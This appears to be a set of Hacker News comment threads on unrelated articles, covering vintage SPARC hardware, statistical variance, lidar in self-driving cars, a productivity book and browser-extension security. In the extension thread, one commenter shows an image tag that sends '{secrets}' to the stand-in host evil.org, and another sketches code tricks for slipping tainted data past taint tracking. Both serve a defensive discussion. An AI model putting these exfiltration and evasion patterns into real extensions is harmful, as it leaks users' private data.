Raspberry Pi vs. SPARCstation 20: Fight - <AUTHOR> http://eschatologist.net/blog/?p=266 <comment><USER2> I cut my teeth on Sun SPARCstations. They were my first serious computer love, introduced to me at Rutgers University a good *%#+ years ago. All I had owned at home was a couple Commodore 64s and a 286 my dad had for work.

Buried in the basement of a building on campus, with huge black and white CRTs (21" or bigger), and laser mice that required a mirror-polished mouse pad, a nice upper-class student took pity on me and introduced me to UNIX when I started bothering him to share his .xinitrc file with me (his prompt was decidedly cooler than mine, and back then, Pine was how we got email, so everyone got to use a terminal a little bit, on Mac, Windows, or UNIX. That was neat, because even the least-interested students were semi-comfortable sitting down at one of the UNIX machines).

Sorry, not a thing to do with the article, it just sparked a warm memory. They're why I use a Mac now - it's the prettiest UNIX (IMHO).

Every now and again I'll open Pine just for the nostalgia of it.

</comment><comment><USER3> Let's see it vs a SPARC with same clockrate and/or SMP for same no of cores. Still not apples to apples but closer. Maybe some Ultrasparc 3's or something.

Throw in some Alphas for good measure. Then put critical routunes in PALcode. See what happens. ;)

<comment><USER4> I wondered about that too. In some of those benchmarks, the Pi was only 4x faster or so. But the 700 MHz Pi clock is about 12x faster than the 60 MHz SPARC. So in a same clock rate test (e.g. a theoretical 700 MHz SuperSparc), it seems like the SPARC should be faster.

I have an SMP SparcStation 20 in the closet (either 2- or 4-way, can't remember). I should dig it out and run those benchmarks myself.

<comment><USER5> If you can, I'd love to see those benchmarks not just on SunOS 4.1 or Solaris, but on something like NetBSD 7.0 using a recent GCC or clang. It might make for a good comparison since the hardware is close to what the benchmark was originally run on.

And if you're in the Bay Area and looking for a home for that system… I looked into getting one as I was writing, and while Weird Stuff and MemoryX have OK prices on CPU boards and memory, I was seeing prices of about $300 for a working SS20!

<comment><USER3> That's same range as eBay. Many of the old, RISC machines hold their value well. The SunBlade workstations still go for around $1000 if loaded. The AlphaServers are holding out well across the board:

[http://www.ebay.com/sch/i.html?_odkw=Sunblade+workstation&_o...](http://www.ebay.com/sch/i.html?_odkw=Sunblade+workstation&_osacat=0&_from=R40&_trksid=p2045573.m570.l1313.TR0.TRC0.H0.Xalphaserver.TRS0&_nkw=alphaserver&_sacat=0)

</comment></comment></comment></comment><comment><USER6> I read these and I'm always "but, but, wait!" And I recognize being on the other side of an argument I was on when the first microcomputers came out, where people with "real" computers would tell me all the reasons my microcomputer wasn't as good as a real computer and I was telling them it was good enough for what I wanted it to do.

</comment><comment><USER7> Would be interesting to compare first and last iPhone here too.

</comment><comment><USER8> real question is how did X11 performance get so bad that the Pi feels so weak

<comment><USER9> 1152x900 8bit = 1,036,800 bytes on screen

1920x1080 24bit = 6,220,800 bytes on screen

So for starters, a lot of people are trying to push around more, larger, pixels.

Some years ago I did some experiments with the OLPC-XO essentially analysing this exact problem. Modern software on a platform weaker then current Entry- Level.

Analysing the overhead in printing a terminal text to a screen, I found a process that output a great deal of text but >dev/null took 1.5 seconds and tried a couple of different terminals.

        7 seconds using bitmapped fonts
        30 seconds using xft
        6 minutes 34 seconds using vte (Pango/Cairo)

That's a lot of overhead. You get unicode, scalable fonts and extras but it all comes with a cost. Most of that cost isn't intrinsic to the additional capabilities, but just an accumulation of minor inefficiencies because the result was ok on the machines we were using at the time.

<comment><USER10> Larger pixels?

<comment><USER11> I think he meant larger in the sense that 24 bits is larger than 8 bits

</comment></comment></comment></comment><comment> bjelkeman-again I used to have a SPARCstation SLC, monitor and CPU in one. It was plenty fast. Apparently it was 20 MHz compared to the SPARCstation 20's 60 MHz. Now I have a Pi lying around doing nothing, but going to control a Nixie tube setup for some counters. Times change.

</comment><comment><USER12> Pretty wild that this was top end in 1994. I wonder what the benchmark versus a 100MHz Pentium, also available in 1994 (I had one at the time) would look like.

<comment><USER5> You can probably see exactly that kind of benchmark in BYTE issues from 1994-1997 at archive.org, I think they did a couple benchmark roundups of PC UNIX back then.

</comment></comment><comment><USER13> the pi is also faster than [https://en.wikipedia.org/wiki/ENIAC](https://en.wikipedia.org/wiki/ENIAC) nothing to be surprised about o.O

today's pi is going to be rather obsolete in 20 years, thanksfully, we're still progressing :)

</comment><comment><USER14> Well the SPARC ethernet is BOUND to be a lot better than the Pi's ;-)

<comment><USER15> Good luck plugging in any peripherals to that SPARC machine though ..

<comment><USER14> Heheh yeah I'll look smart with my USB keyboard ;-)

On the other hand, for the time the sparcs were pretty advanced, high speed SCSI (whoohoo ;-)), they had the famous RS422 ports that were also on the macs and allowed (synchronous) 2Mb/s.

I had a Sun 3/80 back then in 1991 or so, given to me by a Sun rep when the SPARC came out; it was already fantastic hardware to have in my bedroom! I'm still hooked on the Sun hi-dpi console font (still present in linux)

<comment><USER15> I was more of an SGI guy, having cut my Unix teeth on Risc/OS on a MIPS Magnum pizza box, still got my O2, wish I still had my stack of Indy's .. but I can nevertheless understand the love for these old machines. What a pity those guys didn't compete for the pocket, eh?</comment></comment></comment></comment>


Understanding Variance, Co-Variance, and Correlation - <AUTHOR> http://www.countbayesie.com/blog/2015/2/21/variance-co-variance-and-correlation <comment><USER2> This is a horrible explanation of variance. And it's missing WHY we need variance, or, what is the usefulness of variance vs. other measures like mean and range.

Say you want to buy a car and want to choose a brand and model based on user ratings of quality and value online.

Cars A, B, and C all have the same average rating - let's say 8 out of 10. How to choose? You need more information, but all you have are the ratings.

You could look at the range of ratings. This is the difference between the maximum rating and minimum rating. But what if only one or two people gave a car a bad (low) rating of 1 or 2, whereas another car had a lot of low ratings of 3 and 4, but no one rated it a 1 or 2. If you just look at the range, it might not be a good characterization of the ratings on the whole, because just one person (data point) can skew the information.

You want to look at the spread of the ratings - how consistent or variable the ratings are. A car with a lot of 7, 8, 9 ratings is better than a car with ratings all over the place, that happen to average the same (8). When you buy a car with an average rating of 8 out of 10, you expect a car that is an 8. You want to minimize the chance of getting a lemon.

This spread can be calculated by looking at the difference between each individual rating with the average rating. If you add up all these differences though, the negative differences with the mean would cancel out the positive differences with the mean. With variance, this difference is thus squared to make them all positive (or zero). And so on...

<comment><USER3> But why take the square and not just the absolute value of the differences? Is the idea to emphasize outliers and hence give higher variance to skewed datasets?

<comment><USER4> The real idea is that you have an implicit model, specifically a normal distribution. The variance is one of the parameters of the normal distribution (the other being the mean).

A normal distribution is a good implicit model to choose - the central limit theorem and similar laws suggest that lots of other distributions will asymptotically approach it. But it's not always the right choice - e.g., it's a disaster when you have power law tails, or low frequency high amplitude noise.

<comment><USER5> could you give some examples or detail about power law tails?

<comment><USER4> So the CLT says the sum of random variables with rapidly decaying tails will approach a normal distribution. There are similar results showing that the sum of slowly decaying random variables approaches a stable distribution:

[https://en.wikipedia.org/wiki/Stable_distribution](https://en.wikipedia.org/wiki/Stable_distribution)

This makes the stable distribution the right answer under some circumstances.

For different test statistics (e.g. max drawdown), you've got similar fat tailed distributions, e.g. GEV:

[https://en.wikipedia.org/wiki/Generalized_extreme_value_dist...](https://en.wikipedia.org/wiki/Generalized_extreme_value_distribution)

As an example of how you might use slowly decaying distributions, consider this example of Cauchy PCA:

[http://arxiv.org/pdf/1412.6506v1.pdf](http://arxiv.org/pdf/1412.6506v1.pdf)

I'm working on an blog post explaining the use of fat tailed distributions for linear regression in a Bayesian context.

</comment></comment></comment></comment></comment><comment><USER6> To define variance as

        E[x^2] - E[x]^2

and not ever allude to the far more meaningful version,

        E[ (x - E[x])^2 ]

is just criminal. This is _not_ at all a good explanation of variance, covariance, and correlation.

<comment><USER7> I have to agree with you here.

One problem with introducing it the way the article does is that it's hard to see why the variance is never negative, and is zero exactly when the R.V. is constant.

This is a very important property, to say the least.

It would be better to say you measure the "energy" with

      E x^2

but that this is not immune to level shifts, so you need to subtract some constant off first. And it so happens that the optimal constant to subtract off is our friend E x.

Edited to add: The notion of introducing the ideas of a sample space and a random variable (in the technical sense), as is done in the article, and at the same time being shy about calculus, is rather contradictory. That is, the intersection of

      { people who want measure-theoretic probability concepts }

and

      { people who don't know calculus }

may be empty.

<comment><USER8> It looks like an enthusiastic newbie with some clipart and an equation. Fair play for trying.

I would suggest adding the following.

1\. What the poster above said.

2\. The reason for the E[(x_{bar} - x_i)^2] choice. Why not E[|x_{bar} - x_i|]? Was it a mathematical convencience? Was it, perhaps, because Gauss had the integral of e_{t^2} from -Inf to plus Inf lying around in a letter from Laplace?

3\. It is an equation with a square. Use a square somewhere.

4\. The square root of the variance happens to be the horizontal distance between the mean and the point of inflection in the normal distribution. How cool is that?

<comment><USER7> I like (3) in particular. You could introduce, in a very simple way, the idea that the "error" (X - E X) is perpendicular to the "estimate" (E X). That's the two legs of the right triangle; the hypotenuse is "X" itself.

</comment></comment></comment></comment><comment><USER9> Covariance - dot product. Variance - squared norm. Correlation - cosinus of the angle between vectors.

<comment><USER10> This is why I love math. Rigorous definitions and pattern reuse, distilling concepts to their essential features.

</comment></comment><comment><USER11> Never seen covariance spelled with a hyphen...

</comment><comment><USER12> I love how some people have the ability to explain in simple terms something that is not as simple. And I appreciate that they take the time to write it down.

Thank you OP.

</comment><comment><USER13> so many spelling mistakes...</comment>


What Self-Driving Cars See - <AUTHOR> https://www.nytimes.com/2017/05/25/automobiles/wheels/lidar-self-driving-cars.html <comment><USER2> I walk/drive/bike in a city. I'm wondering if we'll ever get to fully autonomous.

The thing is I'm often looking at other drivers and when driving pedestrians look at me. You can send them across a crosswalk you are stopped at in a car with a wave or a tilt of your head. You can tell that person isn't going to cross the street and is waiting for a ride because they are looking at their phone and then cars. Sometimes pedestrians wave me though when I'm in my car. I had a situation where an adult waved me across at an intersection but her kids kept going. I stopped, kids stopped after mom told them to and we were back to square one of our intersection dance. Things that sensors are going to have a hard time doing.

I think we'll get driver assisted as sensors can look 360 and further ahead. highways and less dense areas seem ideal for self driving.

<comment><USER3> Self driving on highways is already working. There are solutions for interacting with periastrians. Mercedes had a prototype where a virtual cross walk was displayed in front of the car to show it was waiting for the pedestrian.

<comment><USER4> #1 cause of pedestrian injury right there: car in lane 1 stops and {driver waves at pedestrians/car displays crosswalk}; pedestrians start walking; car in lane 2 doesn't stop.

A protocol incompatibility issue? Oh well, can't make an omelette without killing a few people :-/ In other words, this requires precise cooperation from _multiple_ parties involved; one fancy car implementing this is insufficient.

</comment></comment></comment><comment><USER5> 1\. There are supposedly new lidar systems coming out in the hundreds of dollars.

2\. You can be "superhuman" with just image sensors (i.e. without lidar).

That said, I believe lidar is effective for precise object determination e.g. whether a small thing on the road is soft or hard which would help determine if it's a stuffed animal or a real one or a plastic bag in the shape of an animal.

<comment><USER6> What is difficult for lidar are the following:

* not-reflective / dark surfaces, i.e. [http://www.thedrive.com/tech/9293/luminar-says-its-lidar-tec...](http://www.thedrive.com/tech/9293/luminar-says-its-lidar-tech-will-help-self-driving-cars-see-farther) has 10 percent reflectivity at 50 meters. As stated in the article Luminar is able to do the same at 200 meters, but violating eye safety standards. We might introduce paint restrictions - [http://blog.caranddriver.com/why-better-paint-coatings-are-c...](http://blog.caranddriver.com/why-better-paint-coatings-are-critical-for-autonomous-cars/) \- but it's not really acceptable to paint everything I think. :-)

* fog and dust particles (already known since lidar use for aerial imaging).

* interference with other cars not so much (much worse with radar).

I don't know if soft/hard objects are so easy to recognize for lidar though! That's pretty challenging!

</comment></comment><comment><USER7> I really do not believe lidar is going to be the right answer for self driving cars. We already know that you can be successful at driving a car in various weather conditions with two stereoscopic cameras on a swivel and limited sonar (humans). Cameras, infrared cameras, and sonar will likely be much cheaper and just as capable as lidar.

<comment><USER8> If you think humans are "two stereoscopic cameras and a limited sonar", you need to learn more about humans.

Not only are our eyes far more versatile than the most sophisticated camera equipment, we constantly maintain a mental model of the world that allows us to focus only on the things that matter, and accurately infer state. This affects everything from vision, to hearing, to proprioception and situational awareness.

Machines don't come close, which is why the quality of the sensors matters so much more. This trope gets repeated in nearly every thread about self-driving cars, and reveals mainly that engineers don't know much about biology.

<comment><USER9> OK, but we developed or mental model of the world through those two cameras. I agree that we still have aways to go, the fact is only two cameras and processing is all that is needed. But we can do better with more sensors

<comment><USER10> If a company's solution to self driving cars with just two cameras requires developing a machine learning "model of the world" (I don't think it does, but it does make it a much harder research problem), then they are going to be years behind everyone else in shipping a self-driving car.

<comment><USER11> If a company's solution is able to maintain a real-time model of the world on top of which reasoning and reaction at human-level speeds is possible, never mind the driving cars - that's priceless!

</comment></comment></comment></comment></comment><comment><USER12> Will a bunch of self driving cars all using LIDAR interfere with each other?

Busy intersections could have strategically placed high resolution LIDAR "base stations" that wirelessly transmit the model to cars as they near the intersection.

<comment><USER13> That sounds like a centralized approach to the problem. Which ive thought about, too. If the government provided more infrastructure to assist driverless cars it would probably accelerate adoption and the installation and maintenance costs of LIDAR turrets and other infrastructure would ideally be offset by the number of lives saved. Im also wondering if a something similar to air traffic control could be applied to self driving cars.

<comment><USER12> If you really want to decentralize, take down all the "DON'T WALK" signals, and let pedestrians use a smartphone app to tell them when to cross the road.

"It's like Uber, but for crossing the road!"

Hans Monderman would have loved it!

[https://en.wikipedia.org/wiki/Hans_Monderman](https://en.wikipedia.org/wiki/Hans_Monderman)

</comment></comment></comment><comment><USER14> Reflections. How many self driving cars can see these? Every day that is what I have to look for when leaving a garage - the reflections, or shadows, of people and pets, as I come out of a parking garage.

The edge cases for self driving cars are massive - unless we dictate our roads and street to be machine friendly.

<comment><USER15> I don't know the exact state of recognition used in the state-of-the-art self- driving cars, but I wouldn't you be able to handle reflections if you use normal camera image recognition combined with LADAR? From a simple image, you can infer the distance to an observed object by looking at the size of its bounding box, and compare that to what the size of a bounding box of that type of object is at some known distance. After that, you can validate this distance using LADAR. If there are large discrepancies, you can either infer that it is a reflection, or you can maybe have trained a system specifically to classify if something is a reflection or not. That system would probably look at how much distortion there is on an object, compared to the rest of the scene, which could be caused by e.g. a non-flat reflective surface.

Like I said this is just some thinking out loud on my part, and I am by no means an expert. Does anyone that are more knowledgeable about this topic know if this strategy could be feasable?

<comment><USER10> I'm not an expert either, but what if the object-size pair is not in your database of known object-size-distances.

<comment><USER15> I would assume that you would have this data about every object that the system can recognize. It would just be trained like any other system would be trained, because you can use the ladar for finding out the real distance. It, of course, will be difficult to guess the distance on objects the main system haven't been trained for.

<comment><USER16> The interesting part is that distance is not really needed, only good estimate of presence or absence of an object and a real easy model of how a mirror works.

</comment></comment></comment></comment></comment><comment><USER17> This video convinced me that self-driving cars are definitely going to beat humans at safety. Freaky how early the thing gets that there's going to be a crash and the distance at which it responds:

[https://www.youtube.com/watch?v=WZ-d9k6JFA8](https://www.youtube.com/watch?v=WZ-d9k6JFA8)

<comment><USER18> Can Lidar distinquish between an empty plastic white bag dancing on the wind in the middle of the highway, and a baby that fell out of a stroller?

In both scenarios whether it can or cannot, its a distaster.

<comment><USER19> I don't know why this is getting downvoted. That's on of the harder problems in vehicle autonomy.

<comment><USER18> I wouldn't worry much. I have a few "fans" that follow my comments regularly and mass down-vote me. I also realized lately that my own upvote/downvote does not get accounted for.

</comment></comment></comment></comment><comment><USER20> LIDAR is quite interesting. If there's anyone who has more information about automotive lidar, I'd love to chat with them, my email is visible on my tag :)

It'll be interesting to see how SDC makers handle the computational complexity of deep nets operating on these massive point clouds generated from LIDAR. It seems like these aren't getting any easier with Luminar claiming ~10 million points. Running that through a hefty 3D ConvNet could easily soak up a petaflop...

<comment><USER10> To my limited knowledge, they don't. Deep nets are mostly used by the self- driving companies for processing camera data for image detection and segmentation tasks like detecting other vehicles, recognizing street signs, etc. Presumably, having 3D point clouds lets you hand-code solutions to a lot of these tasks without having to use ML.

<comment><USER20> That's been my experience as well, I was just wondering if anything has changed in the year or so that's passed.

</comment></comment></comment><comment><USER21> For as much as Americans complain about regulations, there's very little standardization in automobile driving environment (rules of the road, road paint and signage) or in the driver (uncle Joe can teach you how to drive in a few weeks, and essentially once licensed you're licensed for life as long as you pay a fee and don't become legally blind). Anyone who drives in the U.S. and either is a pilot or has driven in another industrialized country knows how non-standard automobile driving is in the U.S. This might make us fairly defensive and adaptive drivers, because our fellow drivers are so unpredictable due to non-standardization.

I think that makes the task of integrating autonomous cars a difficult task, not for the human driver, but for the computer. It has to be more adaptive and responsive with a lower error rate than the best American driver, while simultaneously sharing the exact same physical environment with non- deterministic actors.

Once we solve the pollution problem, all the HOV lanes can become autonomous car lanes. Only qualified cars use those lanes and they must be in autonomous mode. And conversely in mixed zones they can only be in some kind of hybrid mode. How insurance sorts out liability in the hybrid case will be interesting.

<comment><USER4> For all the non-regulation of US roadspace, I don't see any significantly _different_ driving in Europe: having driven enough on both continents, it feels the same w/r/t unpredictable drivers. IMHO it doesn't matter whether the unpredictability comes from "has no training" or "has training but ignores it".

</comment></comment><comment><USER22> Is there a reason most lidars still use the rotating design and not phased array (faster).

\- cost \- redundancy \- depth

Just a thought, not a scientist/engineer

edit: then imagine it could be made into strips and that goes around the car... no rotating-delay and full-view all the time.

</comment><comment><USER23> Lidar is pretty much my favorite animal. Bred for its skills in magic.

</comment><comment><USER24> Does any of this work in rain or snow?

<comment><USER25> LIDAR is supposed to have low attenuation in water, however it will still suffer refraction. Hopefully it will function about as well as a human. The vision processor will have to understand that it's raining and correct for refraction where possible.

Snow is a different challenge, but a sufficiently smart system should be able to composite frames and appropriately fill in the holes created by being obscured by snow. It won't be trivial, but it should all be doable.

</comment></comment><comment><USER26> It sounds to me like they are discounting the possibility that an entirely camera based solution could be developed that bypassed the whole lidar cost issue altogether.

</comment><comment><USER27> > You can't afford to miss a single object because that object could be a > person.

Humans do all the time and we accept that risk, why are self driving cars held to a higher standard?

<comment> D-Coder It's an argument, IMHO not a very good one.

It's basically the same as "but they don't cure cancer!" argument.

</comment></comment><comment><USER28> Sorry, I know very little about this stuff, but how does LIDAR avoid interference with other cars emitting LIDAR?

<comment><USER29> Coded pulses: rather than emitting a uniform beam, they emit a pulse and listen for that back. You can think of it a little like a bar code, a sequence of short and long, on and off. Then select for that on receive.

<comment><USER30> what happens if another source uses the same pattern?

<comment><USER31> LIDAR units could cycle through randomly-generated patterns for each pulse - if they can be made unpredictable then it would be impossible for someone to confuse a LIDAR unit by copying its pulses. Assuming it's a time-of-flight LIDAR then the time required for an attacker to read a pulse and send back their own signal would be greater than the time of the original signal to return - and if the sending LIDAR has a sufficiently short timeout then even an attacker using Vanta-black to absorb all of the victim's lasers still won't be able to respond quickly enough.</comment></comment></comment></comment>


The Lie of The Four Hour Work Week. - <AUTHOR> http://www.illuminatedmind.net/2009/03/17/the-lie-of-the-four-hour-work-week/ <comment><USER2> I only got about a paragraph in and realised it was someone with a chip on his shoulder.

Nobody intelligent finishes the 4HWW book and believes it to be a manual on how to whittle your hours down to 4 a week.

The book (to my interpretation, at least) is about prioritizing activities in your life, and spending as little time as possible on the things that bring the most reward (both monetary and not). It's mostly just a wake up call to not spend your life in a cubicle farm if you aren't happy there.

The original working title for the book as 'drug dealing for fun and profit' which was nixed by the publisher. He ad-tested a selection of titles in Google Adwords and selected the best performing title. That's where the 4 hour work week comes in : the most effective hook to bring in buyers. Apparently it's the most effective to raise the ire of hard-working bloggers.

<comment><USER3> If you read past first paragraph, the whole article is almost exactly the same as your comment:

* Title is controversial, but the actual content of the book offers sound advice

* Don't waste time doing something you hate

* Spend more time doing something you love (like making a difference)

* He even admitted that negativity publicity for the book (like him writing this article) is still good publicity

</comment></comment><comment><USER4> The author's premise is that most people equate work with something unpleasant. Therefore, the 4HWW is a "lie" because most people need to enjoy their work more instead of adult fantasizing about living the retired lifestyle (I didn't get the logical leap).

As a programmer, I think there is some enjoyment from being able to create and weave stuff that people use out of code. Yes, there are parts to the job that I dislike: the downtime, some group apathy, office politics, etc. However, I feel that I am fortunate to be in a profession where I can exercise problem- solving and creativity and have relatively durable metrics for performance vs. Some of the more abstract office jobs my friends have.

As a very smart kid I know said in his valedictory address:

"Work doesn't necessarily make you happy, but it may give you the _means_ to do the things that make you happy*"

Remember life balance is not static, it's a dynamic process. Happiness is fleeting because our survival depends on it.

</comment><comment><USER5> This is rambling link bait for the blog's author to build a reputation and audience. Fair enough, but not enlightening.

</comment><comment><USER6> Actually, most people don't hate work at all. I hear they love it and they couldn't even imagine life without work and the satisfaction (also spelled "exhaustion") it gives. At least that's what everyone says when I make it known that I hate work. Still, even though everyone loves to work, I can't get _anyone_ to pay for my survival. (In fact, there are those who condemn welfare leeches because that makes them have to work more!)

But seriously, are these romantic articles doing us any good? I expected something a bit more cynical with a title like this. Instead, all I got was more you-can-do-it peptalk, telling me that there's a wonderful job somewhere over the rainbow where I won't even notice the restrictions, responsibilities and captivity inherent to jobs.

Admittedly, I'm making the same mistake as the author of the article by conflating doing work with having a job. Doing work can be great; I absolutely love programming. However, there are no jobs where you can do whatever you want all the time. It's no use to pretend otherwise.

Perhaps if we admit that jobs suck, we can find alternatives. (And I don't think founding startups is it.)

<comment><USER7> Somebody's got to dig ditches and handle sewage. Until we invent robots to do the manual labor and put nanomachines in the toilet to treat the sewage in- situ, there's no real replacement for the job in our society.

<comment><USER6> Yeah, somebody has to do that. But it doesn't have to be _one_ person. I wouldn't mind digging a ditch or handling some sewage every once in a while. If everyone did a little of everything without commitment or paperwork or whatnot, I bet we'd be much better off. Utopian, sure, but I'm certain it could be made to work. (Even the worst slackers would start doing things when there's no blame, expectations or obligations.)

Also, I'm afraid that when the robots finally do everything, we the people will still be left with paper-shuffling jobs. As robots gain ground, jobs will be lost and new pointless jobs invented for the sacked. That's been happening for decades now. It's like boiling a frog: we won't even notice when we get to the point where robots are doing everything and the only reason we're still working is because we're keeping each other's artificial jobs going.

Kind of hard to explain this point. Think insurers insuring managers who manage insurers, only more widespread and complex. Think circular references in a reference-counting garbage-collected environment: objects that are completely unnecessary but things have gotten so complex that it's hard to see it.

Then of course there's the question of who owns the means of production: if corporations had to pay for the robots, they won't just make them do everyone's work for free. Quid pro quo, right? And this doesn't take malice: the frog will be boiled very gradually.

(I know you can't boil frogs like that. That's not the point.)

</comment></comment></comment><comment><USER8> Hasn't this been hashed out for the past 18 months?</comment>


The Most Dangerous Code in the Web Browser - <AUTHOR> http://stefanheule.com/blog/posts/2015-06-28/the-most-dangerous-code-in-the-web-browser/

<comment><USER2> It's a good idea, and one we thought of and tried to make work when I worked on extensions.

Unfortunately, the DOM itself is so flexible and powerful, that it can be used to exfiltrate information through a variety of mechanisms.

For example, that same extension that only has access to gmail.com's DOM? Well, it can add an image like <img src="evil.org?{secrets}">.

The extension system could try to detect such things, but there are a variety of ways for bad extensions to work around the detections.

<comment><USER3> Very good points. We proposed a way to deal with DOM manipulation in the paper [1], but Stefan omitted this in the blog post. Specifically, Section 4 of the paper (the "Page access" paragraph) briefly describes this. (Sorry for referring you to the paper, but our wording in the paper is probably better than my attempt to paraphrase here.)

Of course there are other ways malicious extensions can used to leak data--- pick your favorite covert channel. But the idea was to propose APIs (and mechanisms) that are not overtly leaky. (We are early in the process of actually building this though.)

[1] [https://www.usenix.org/conference/hotos15/workshop- program/p...](https://www.usenix.org/conference/hotos15/workshop- program/presentation/heule)

<comment><USER4> "To ensure that extensions cannot leak through the page's DOM, we argue that extensions should instead write to a shadow-copy of the page DOM—any content loading as a result of modifying the shadow runs with the privilege of the extension and not the page. This ensures that the extension's changes to the page are isolated from that of the page, while giving the appearance of a single layout" Could you elaborate more on this? Do you mean that you'll compare the network requests made from the main and the shadow pages? What if the main script is sensitive to the request receive time? Then the shadow DOM may act differently. From more practical standpoint, having two DOMs for every page will eat even more of my laptop's RAM.

<comment><USER3> "Do you mean that you'll compare the network requests made from the main and the shadow pages?"

Essentially, yes. Requests from the extension should be treated as if they are of an origin different from the page. (We could potentially piggy-back on existing notions of security principals (e.g., that Firefox has) to avoid huge performance hits.) And if the extension is tainted the kinds of requests will be restricted according to the taint (as in COWL [1], likely using CSP for the underlying enforcement).

"What if the main script is sensitive to the request receive time? Then the shadow DOM may act differently."

If by main script you mean a script on the page, then there should be no real difference.

"From more practical standpoint, having two DOMs for every page will eat even more of my laptop's RAM."

I hope this won't be so bad down the line (assuming we'd be able to leverage some underlying shadow DOM infrastructure and that performs relatively well).

[1] [http://cowl.ws](http://cowl.ws)

</comment></comment></comment></comment><comment><USER5> Case in point: Kaspersky (respected antivirus software) is doing disturbing things with extensions and plug-ins.

Kaspersky Internet Security and Kaspersky Total Security are adding an extension to your browser called "Safe Money" and an associated plug-in called "Online Banking" that protect your banking transactions. It opens a separate "protected" browser tab, verifies credentials, checks for spoofing, etc. This is all fine, I think.

However, I was annoyed to discover that it acts as a man-in-the-middle to monitor the HTTPS traffic between me and my bank or credit card site. I suppose Kaspersky wants to check for malicious content sent by a fake bank site or whatever. But I don't want Kaspersky scanning/storing/analyzing my bank transactions and bank passwords.

Kaspersky does not tell you that they are doing MITM, or what they're checking for, or what (if any) info is sent back to their servers for analysis, or what (if anything) is stored.

I removed "Safe Money" and all of their other extensions and plug-in[1]. I still use Kaspersky, but if a security-oriented company is engaging in shenanigans with extensions and plug-ins, then what do we expect from less trustworthy companies?

[1] You _cannot_ remove Kaspersky's extensions and plug-ins directly from Firefox. If you disable the Kaspersky extensions, the next time you restart Firefox, they are re-enabled. If you set the Kaspersky plug-ins to "Never activate", the next time you restart Firefox, they are back to "Always activate". Kaspersky has gone to a lot of effort to make it nearly impossible to remove their extensions and plug-ins once you install them! It took me a _long_ time to get rid of them.

<comment><USER6> How was Kaspersky re-enabling their extensions? Do they have a separate service running in the background? How did you eventually uninstall it? Might be worth filing a Firefox bug to report the problem, in case something can be done (by blocking the extension or contacting Kaspersky).

<comment><USER5> I don't know how they were re-enabling their extensions.

I got rid of the Kaspersky extensions as follows:

In the Kaspersky menu, I went to Settings > Protection > Web Anti-Virus > Advanced Settings, and unchecked "Automatically activate application plug-ins in all web browsers". Though Kaspersky's settings refer to _plug-ins_ , this actually disables the extensions, not the plug-ins. You can't choose which of their 3 extensions to enable or disable; it's all or nothing. I also disabled Kaspersky's Web Anti-Virus, which may or may not have been necessary to the procedure.

As to how they were re-enabling plug-ins, I found a comment on the Kaspersky forums that seems informative and I'll quote here:

 _FF stores all its settings in prefs.js file but user.js file serves a different purpose.[1] A user.js file is an alternative method of modifying preferences, recommended for advanced users only. Unless you need a user.js file for a specific purpose you should use about:config instead. The user.js file does not exist by default. Once an entry for a preference setting exists in the user.js file, any change you make to that setting in the options and preference dialogs or via about:config will be lost when you restart your Mozilla application because the user.js entry will override it.[2] So, here is what KIS does: after installation it creates user.js file in your Firefox profile and writes a couple of preferences there that activate Kaspersky plugins. As the result, even if you disable the plugins in FF settings, they will be enabled after restart.[3]_

[1][3] [http://forum.kaspersky.com/index.php?showtopic=301934&st=0&p...](http://forum.kaspersky.com/index.php?showtopic=301934&st=0&p=2282289&#entry2282289)

[2] [http://kb.mozillazine.org/User.js_file](http://kb.mozillazine.org/User.js_file)

I personally got rid of the Kaspersky plug-ins as follows:

      - Saved my Firefox bookmarks
      - Uninstalled Firefox
      - Removed my FF profile (in Window 7, it's c:/Users/<username>/AppData/Roaming/Mozilla/Firefox/Profiles/*)
      - Disabled Kaspersky
      - Reinstalled Firefox
      - Created a new profile in Firefox (FF will ask you if the profile is missing)
      - Restored my Firefox bookmarks
      - Re-enabled Kaspersky

<comment><USER6> Wow. That's pretty confusing. And modifying the Firefox user.js is sounds kinda underhanded.

</comment></comment></comment></comment><comment><USER7> I believe that concerns like this are why Apple will introduce the "content blocking" extensions in iOS 9 and OS X 10.11. They enable the most popular types of extension (ad blocking and privacy protection) without letting extension code run in your browser.

While the tainted data approach sounds interesting, I don't think there's an easy way to guarantee the safeness of arbitrary code executed on your machine. It's possible to sandbox code, but as soon as you allow any communication at all, there's no automated way to prevent data theft.

<comment><USER8> _but as soon as you allow any communication at all, there 's no automated way to prevent data theft._

I think you missed the point of the article, which proposes exactly that.

All I/O functions would tag all variables populated by them with the source of the data.

When a tagged ("tainted") variable is used in an I/O function again, we can compare origin/destination and apply firewall-style filtering or prompt the user.

      .</comment></comment><comment></comment><comment></comment><comment></comment><comment></comment><comment></comment><comment>----.
      | Add-On "Evernote" has read data from:  |
      |   Chrome Clipboard                     |
      |                                        |
      | and wants to send it to:               |
      |    http://evernote.com                 |
      +</comment><comment></comment><comment></comment><comment></comment><comment></comment><comment></comment><comment>----+
      | [Deny] [Allow] ( ) Remember            |
      `</comment><comment></comment><comment></comment><comment></comment><comment></comment><comment></comment><comment>----'

<comment><USER9> Will this show a warning?

        for (int i=0;i<LEN; i++) {
          for (char c=0; c<255;c++) {
            if (tainted[i] == c) {
              untainted[i] = c;
            }
          }
        }
        send(untainted);

If no - protection doesn't work obviously. If yes - almost all variables are tainted (you don't usually read stuff that doesn't influence codepaths or global state in your application).

In the promiscuous world of imperative programming there's millions of ways to introduce dependency that can't be automaticaly checked.

For more complex - you can have workers/threads doing while() { sleep(), next_letter; } and other workers killing them after calculated time.

Or you can get different number of pseudorandom numbers from generator with known seed in one loop depending on tainted data, and after the loop untainted data is set depending on the current random number from the same generator. Calling rand() taints the generator.

I thought they would just mark the whole etension as tainted once it reads tainted data. And then any communication with other sites show the warning.

<comment><USER8> _Will this show a warning?_

Yes, because the assignment happens inside a conditional that references a tainted variable.

 _In the promiscuous world of imperative programming there 's millions of ways to introduce dependency that can't be automaticaly checked._

That is not true.

 _workers /threads doing while() { sleep(), next_letter; }_

What is that supposed to achieve?

 _known seed in one loop depending on tainted data_

Every variable assigned to within a "loop depending on tainted data" becomes tainted. Calling rand() doesn't taint the generator. Seeding it within a tainted scope does.

Edit: I was wrong (see below), of course rand() _also_ taints the generator.

<comment><USER9> > Yes, because the assignment happens inside a conditional that references a > tainted variable.

What if it was

        if (!tainted[i]==c) {
          continue;
        }
        untainted[i]=c;

?

If your checker is smart enough to catch this - your whole program is tainted by your password once you check it in the login screen.

> What is that supposed to achieve?

Global state is incramented by another worker every second to the next value. My thread kills the other worker after N seconds. global state = N and I haven't touched it.

